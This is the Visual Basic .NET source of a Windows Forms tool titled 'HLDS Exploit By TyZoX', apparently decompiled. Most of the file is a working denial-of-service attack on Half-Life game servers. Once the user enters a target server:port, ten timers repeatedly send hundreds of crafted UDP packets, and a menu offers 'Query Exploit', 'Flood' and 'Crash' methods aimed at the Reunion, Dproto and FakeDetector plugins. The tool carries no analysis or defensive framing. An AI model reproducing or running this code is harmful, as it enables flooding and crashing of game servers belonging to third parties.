Imports System
Imports System.Collections.Generic
Imports System.ComponentModel
Imports System.Drawing
Imports System.Net
Imports System.Net.Sockets
Imports System.Text
Imports System.Windows.Forms
Namespace abolahab
Public Class tbi
Inherits Form
' Methods
Public Sub New()
Me.InitializeComponent
End Sub
Private Sub bunifuMetroTextbox3_TextChanged(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Private Sub button1_Click(ByVal sender As Object, ByVal e As EventArgs)
Try
If (Me.serverak.Text = "") Then
MessageBox.Show("Enter the server.", "", MessageBoxButtons.OK, MessageBoxIcon.Hand)
ElseIf (Me.bunifuMetroTextbox3.Text = "") Then
MessageBox.Show("Enter the Interval.", "", MessageBoxButtons.OK, MessageBoxIcon.Hand)
Else
Me.timer1.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
Me.timer2.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
Me.timer3.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
Me.timer4.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
Me.timer5.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
Me.timer6.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
Me.timer7.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
Me.timer8.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
Me.timer9.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
Me.timer10.Interval = Convert.ToInt16(Me.bunifuMetroTextbox3.Text)
Me.timer1.Start
Me.timer2.Start
Me.timer3.Start
Me.timer4.Start
Me.timer5.Start
Me.timer6.Start
Me.timer7.Start
Me.timer8.Start
Me.timer9.Start
Me.timer10.Start
End If
Catch obj1 As Object
End Try
End Sub
Private Sub button2_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.timer1.Stop
Me.timer2.Stop
Me.timer3.Stop
Me.timer4.Stop
Me.timer5.Stop
Me.timer6.Stop
Me.timer7.Stop
Me.timer8.Stop
Me.timer9.Stop
Me.timer10.Stop
Me.label2.Text = "OFF"
End Sub
Private Sub checkBox1_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Private Sub checkBox3_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Private Sub checkBox4_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Private Sub comboBox1_SelectedIndexChanged(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
If (disposing AndAlso (Not Me.components Is Nothing)) Then
Me.components.Dispose
End If
MyBase.Dispose(disposing)
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
Me.comboBox1.Text = "[Reunion] Query Exploit"
End Sub
Private Sub InitializeComponent()
Me.components = New Container
Me.serverak = New TextBox
Me.button1 = New Button
Me.button2 = New Button
Me.label1 = New Label
Me.label2 = New Label
Me.bunifuMetroTextbox3 = New TextBox
Me.timer1 = New Timer(Me.components)
Me.timer2 = New Timer(Me.components)
Me.timer3 = New Timer(Me.components)
Me.timer4 = New Timer(Me.components)
Me.timer5 = New Timer(Me.components)
Me.label3 = New Label
Me.label4 = New Label
Me.comboBox1 = New ComboBox
Me.label5 = New Label
Me.timer6 = New Timer(Me.components)
Me.timer7 = New Timer(Me.components)
Me.timer8 = New Timer(Me.components)
Me.timer9 = New Timer(Me.components)
Me.timer10 = New Timer(Me.components)
Me.checkBox1 = New CheckBox
Me.checkBox2 = New CheckBox
Me.checkBox3 = New CheckBox
Me.checkBox4 = New CheckBox
Me.checkBox5 = New CheckBox
MyBase.SuspendLayout
Me.serverak.Font = New Font("Segoe Print", 15.75!, FontStyle.Bold, GraphicsUnit.Point, 0)
Me.serverak.Location = New Point(&HD9, 12)
Me.serverak.Multiline = True
Me.serverak.Name = "serverak"
Me.serverak.Size = New Size(&H192, 40)
Me.serverak.TabIndex = 0
Me.serverak.TextAlign = HorizontalAlignment.Center
AddHandler Me.serverak.TextChanged, New EventHandler(AddressOf Me.textBox1_TextChanged)
Me.button1.Font = New Font("Palatino Linotype", 14.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
Me.button1.ForeColor = SystemColors.ActiveCaption
Me.button1.Location = New Point(&H1A, &HE9)
Me.button1.Name = "button1"
Me.button1.Size = New Size(&HCD, &H3A)
Me.button1.TabIndex = 1
Me.button1.Text = "Start"
Me.button1.UseVisualStyleBackColor = True
AddHandler Me.button1.Click, New EventHandler(AddressOf Me.button1_Click)
Me.button2.Font = New Font("Palatino Linotype", 14.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
Me.button2.ForeColor = Color.DarkOrange
Me.button2.Location = New Point(&HF7, &HE9)
Me.button2.Name = "button2"
Me.button2.Size = New Size(&HCD, &H3A)
Me.button2.TabIndex = 2
Me.button2.Text = "Stop"
Me.button2.UseVisualStyleBackColor = True
AddHandler Me.button2.Click, New EventHandler(AddressOf Me.button2_Click)
Me.label1.AutoSize = True
Me.label1.Font = New Font("Impact", 11.25!, FontStyle.Regular, GraphicsUnit.Point, 0)
Me.label1.Location = New Point(&H234, &H113)
Me.label1.Name = "label1"
Me.label1.Size = New Size(&H27, &H13)
Me.label1.TabIndex = 3
Me.label1.Text = "Idle :"
AddHandler Me.label1.Click, New EventHandler(AddressOf Me.label1_Click)
Me.label2.AutoSize = True
Me.label2.Font = New Font("Segoe Print", 9.75!, FontStyle.Bold, GraphicsUnit.Point, 0)
Me.label2.ForeColor = Color.Red
Me.label2.Location = New Point(&H261, &H10F)
Me.label2.Name = "label2"
Me.label2.Size = New Size(&H24, &H17)
Me.label2.TabIndex = 4
Me.label2.Text = "OFF"
AddHandler Me.label2.Click, New EventHandler(AddressOf Me.label2_Click)
Me.bunifuMetroTextbox3.Font = New Font("Tahoma", 12!, FontStyle.Bold, GraphicsUnit.Point, 0)
Me.bunifuMetroTextbox3.ForeColor = Color.SaddleBrown
Me.bunifuMetroTextbox3.Location = New Point(&H222, 230)
Me.bunifuMetroTextbox3.Multiline = True
Me.bunifuMetroTextbox3.Name = "bunifuMetroTextbox3"
Me.bunifuMetroTextbox3.Size = New Size(&H63, &H19)
Me.bunifuMetroTextbox3.TabIndex = 5
Me.bunifuMetroTextbox3.Text = "1000"
Me.bunifuMetroTextbox3.TextAlign = HorizontalAlignment.Center
AddHandler Me.bunifuMetroTextbox3.TextChanged, New EventHandler(AddressOf Me.bunifuMetroTextbox3_TextChanged)
AddHandler Me.timer2.Tick, New EventHandler(AddressOf Me.timer2_Tick)
AddHandler Me.timer4.Tick, New EventHandler(AddressOf Me.timer4_Tick)
AddHandler Me.timer5.Tick, New EventHandler(AddressOf Me.timer5_Tick)
Me.label3.AutoSize = True
Me.label3.Font = New Font("Tahoma", 12!, FontStyle.Bold, GraphicsUnit.Point, 0)
Me.label3.Location = New Point(&H1D9, &HE9)
Me.label3.Name = "label3"
Me.label3.Size = New Size(&H43, &H13)
Me.label3.TabIndex = 6
Me.label3.Text = "Time/s"
AddHandler Me.label3.Click, New EventHandler(AddressOf Me.label3_Click)
Me.label4.AutoSize = True
Me.label4.Font = New Font("Segoe Print", 18!, FontStyle.Bold, GraphicsUnit.Point, 0)
Me.label4.Location = New Point(&H12, 12)
Me.label4.Name = "label4"
Me.label4.Size = New Size(&HC1, &H2B)
Me.label4.TabIndex = 7
Me.label4.Text = "SERVER:PORT"
AddHandler Me.label4.Click, New EventHandler(AddressOf Me.label4_Click)
Me.comboBox1.FormattingEnabled = True
Me.comboBox1.Items.AddRange(New Object() { "[Reunion] Query Exploit", "[Dproto] Flood", "[FakeDetector] Crash", "TEST" })
Me.comboBox1.Location = New Point(&HD9, &H72)
Me.comboBox1.Name = "comboBox1"
Me.comboBox1.Size = New Size(&HA5, &H15)
Me.comboBox1.TabIndex = 8
AddHandler Me.comboBox1.SelectedIndexChanged, New EventHandler(AddressOf Me.comboBox1_SelectedIndexChanged)
Me.label5.AutoSize = True
Me.label5.Font = New Font("Segoe Print", 18!, FontStyle.Bold, GraphicsUnit.Point, 0)
Me.label5.Location = New Point(&H55, &H61)
Me.label5.Name = "label5"
Me.label5.Size = New Size(&H7E, &H2B)
Me.label5.TabIndex = 9
Me.label5.Text = "Method's"
AddHandler Me.label5.Click, New EventHandler(AddressOf Me.label5_Click)
AddHandler Me.timer6.Tick, New EventHandler(AddressOf Me.timer6_Tick)
AddHandler Me.timer7.Tick, New EventHandler(AddressOf Me.timer7_Tick)
AddHandler Me.timer8.Tick, New EventHandler(AddressOf Me.timer8_Tick)
AddHandler Me.timer9.Tick, New EventHandler(AddressOf Me.timer9_Tick)
AddHandler Me.timer10.Tick, New EventHandler(AddressOf Me.timer10_Tick)
Me.checkBox1.AutoSize = True
Me.checkBox1.Font = New Font("Franklin Gothic Medium", 11.25!)
Me.checkBox1.Location = New Point(&H21B, &H58)
Me.checkBox1.Name = "checkBox1"
Me.checkBox1.Size = New Size(&H5E, &H18)
Me.checkBox1.TabIndex = 10
Me.checkBox1.Text = "Method(1)"
Me.checkBox1.UseVisualStyleBackColor = True
AddHandler Me.checkBox1.CheckedChanged, New EventHandler(AddressOf Me.checkBox1_CheckedChanged)
Me.checkBox2.AutoSize = True
Me.checkBox2.Font = New Font("Franklin Gothic Medium", 11.25!)
Me.checkBox2.Location = New Point(&H21B, &H6F)
Me.checkBox2.Name = "checkBox2"
Me.checkBox2.RightToLeft = RightToLeft.No
Me.checkBox2.Size = New Size(&H5E, &H18)
Me.checkBox2.TabIndex = 11
Me.checkBox2.Text = "Method(2)"
Me.checkBox2.UseVisualStyleBackColor = True
Me.checkBox3.AutoSize = True
Me.checkBox3.Font = New Font("Franklin Gothic Medium", 11.25!, FontStyle.Regular, GraphicsUnit.Point, 0)
Me.checkBox3.Location = New Point(&H21B, &H86)
Me.checkBox3.Name = "checkBox3"
Me.checkBox3.Size = New Size(&H5E, &H18)
Me.checkBox3.TabIndex = 12
Me.checkBox3.Text = "Method(3)"
Me.checkBox3.UseVisualStyleBackColor = True
AddHandler Me.checkBox3.CheckedChanged, New EventHandler(AddressOf Me.checkBox3_CheckedChanged)
Me.checkBox4.AutoSize = True
Me.checkBox4.Font = New Font("Franklin Gothic Medium", 11.25!)
Me.checkBox4.Location = New Point(&H21B, &H9B)
Me.checkBox4.Name = "checkBox4"
Me.checkBox4.Size = New Size(&H5E, &H18)
Me.checkBox4.TabIndex = 13
Me.checkBox4.Text = "Method(4)"
Me.checkBox4.UseVisualStyleBackColor = True
AddHandler Me.checkBox4.CheckedChanged, New EventHandler(AddressOf Me.checkBox4_CheckedChanged)
Me.checkBox5.AutoSize = True
Me.checkBox5.Font = New Font("Franklin Gothic Medium", 11.25!)
Me.checkBox5.Location = New Point(&H21B, &HB0)
Me.checkBox5.Name = "checkBox5"
Me.checkBox5.Size = New Size(&H5E, &H18)
Me.checkBox5.TabIndex = 14
Me.checkBox5.Text = "Method(5)"
Me.checkBox5.UseVisualStyleBackColor = True
MyBase.AutoScaleDimensions = New SizeF(6!, 13!)
MyBase.AutoScaleMode = AutoScaleMode.Font
MyBase.ClientSize = New Size(&H28C, &H12F)
MyBase.Controls.Add(Me.checkBox5)
MyBase.Controls.Add(Me.checkBox4)
MyBase.Controls.Add(Me.checkBox3)
MyBase.Controls.Add(Me.checkBox2)
MyBase.Controls.Add(Me.checkBox1)
MyBase.Controls.Add(Me.label5)
MyBase.Controls.Add(Me.comboBox1)
MyBase.Controls.Add(Me.label4)
MyBase.Controls.Add(Me.label3)
MyBase.Controls.Add(Me.bunifuMetroTextbox3)
MyBase.Controls.Add(Me.label2)
MyBase.Controls.Add(Me.label1)
MyBase.Controls.Add(Me.button2)
MyBase.Controls.Add(Me.button1)
MyBase.Controls.Add(Me.serverak)
MyBase.Name = "tbi"
Me.Text = "HLDS Exploit By TyZoX"
AddHandler MyBase.Load, New EventHandler(AddressOf Me.Form1_Load)
MyBase.ResumeLayout(False)
MyBase.PerformLayout
End Sub
Private Sub label1_Click(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Private Sub label2_Click(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Private Sub label3_Click(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Private Sub label4_Click(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Private Sub label5_Click(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Public Sub setExploit()
Dim i As Integer = 1
Do While (i <= 400)
If Not String.IsNullOrEmpty(Me.serverak.Text) Then
Dim separator As Char() = New Char() { ":"c }
Dim strArray As String() = Me.serverak.Text.Split(separator)
Dim remoteEP As New IPEndPoint(IPAddress.Parse(strArray(0)), Convert.ToInt32(strArray(1)))
Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp) With { _
.SendTimeout = Convert.ToInt16(Me.bunifuMetroTextbox3.Text), _
.ReceiveTimeout = Convert.ToInt16(Me.bunifuMetroTextbox3.Text) _
}
socket.Connect(remoteEP)
Dim list As New List(Of Byte)
Dim buffer As Byte() = New Byte(&H7FC - 1) {}
If (Me.comboBox1.Text = "[Reunion] Query Exploit") Then
If Me.checkBox1.Checked Then
socket.Send(New Byte() { &HFF, &HFF, &HFF, &HFF, &H55, 100, &H4C, &H26, &H72 })
End If
If Me.checkBox2.Checked Then
socket.Send(New Byte() { &HFF, &HFF, &HFF, &HFF, &H56, &HFF, &HFF, &HFF, &HFF })
End If
If Me.checkBox3.Checked Then
socket.Send(New Byte() { &HFF, &HFF, &HFF, &HFF, &H55, 0, 0, 0, 0 })
End If
If Me.checkBox4.Checked Then
socket.Send(New Byte() { &HFF, &HFF, &HFF, &HFF, &H54, &H53, &H6F, &H75, &H72, &H63, &H65, &H20, &H45, 110, &H67, &H69, 110, &H65, &H20, &H51, &H75, &H65, &H72, &H79, 0 })
End If
If Me.checkBox5.Checked Then
socket.Send(New Byte() { &HFE, &HFF, &HFF, &HFF, &H76, &H3B, 0, 0, 2, &HFF, &HFF, &HFF, &HFF, &H45, &H66, 0, &H5F, &H74, &H75, &H74, &H6F, &H72, &H5F, &H62, &H6F, &H6D, &H62, &H5F, &H76, &H69, &H65, &H77, &H61, &H62, &H6C, &H65, &H5F, &H63, &H68, &H65, &H63, &H6B, &H5F, &H69, 110, &H74, &H65, &H72, &H76, &H61, &H6C, 0, &H30, &H2E })
End If
End If
If (Me.comboBox1.Text = "[Dproto] Flood") Then
socket.Send(New Byte() { &HFE, &HFF, &HFF, &HFF, &HFF })
End If
If (Me.comboBox1.Text = "[FakeDetector] Crash") Then
list.AddRange(New Byte() { &HFE, &HFF, &HFF, &HFF })
list.AddRange(Encoding.ASCII.GetBytes("123 "))
socket.Send(list.ToArray)
End If
If (Me.comboBox1.Text = "TEST") Then
socket.Send(New Byte() { &H7A, &H7A, &H7A, &H7A, &H7A })
End If
Me.label2.Text = "ON"
End If
i += 1
Loop
End Sub
Private Sub textBox1_TextChanged(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Private Sub textBox1_TextChanged_1(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Private Sub timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
Me.setExploit
End Sub
Private Sub timer10_Tick(ByVal sender As Object, ByVal e As EventArgs)
Me.setExploit
End Sub
Private Sub timer2_Tick(ByVal sender As Object, ByVal e As EventArgs)
Me.setExploit
End Sub
Private Sub timer3_Tick(ByVal sender As Object, ByVal e As EventArgs)
Me.setExploit
End Sub
Private Sub timer4_Tick(ByVal sender As Object, ByVal e As EventArgs)
Me.setExploit
End Sub
Private Sub timer5_Tick(ByVal sender As Object, ByVal e As EventArgs)
Me.setExploit
End Sub
Private Sub timer6_Tick(ByVal sender As Object, ByVal e As EventArgs)
Me.setExploit
End Sub
Private Sub timer7_Tick(ByVal sender As Object, ByVal e As EventArgs)
Me.setExploit
End Sub
Private Sub timer8_Tick(ByVal sender As Object, ByVal e As EventArgs)
Me.setExploit
End Sub
Private Sub timer9_Tick(ByVal sender As Object, ByVal e As EventArgs)
Me.setExploit
End Sub
' Fields
Private bb As Integer = 0
Private bunifuMetroTextbox3 As TextBox
Private button1 As Button
Private button2 As Button
Private checkBox1 As CheckBox
Private checkBox2 As CheckBox
Private checkBox3 As CheckBox
Private checkBox4 As CheckBox
Private checkBox5 As CheckBox
Private comboBox1 As ComboBox
Private components As IContainer = Nothing
Private label1 As Label
Private label2 As Label
Private label3 As Label
Private label4 As Label
Private label5 As Label
Private serverak As TextBox
Private timer1 As Timer
Private timer10 As Timer
Private timer2 As Timer
Private timer3 As Timer
Private timer4 As Timer
Private timer5 As Timer
Private timer6 As Timer
Private timer7 As Timer
Private timer8 As Timer
Private timer9 As Timer
End Class
End Namespace
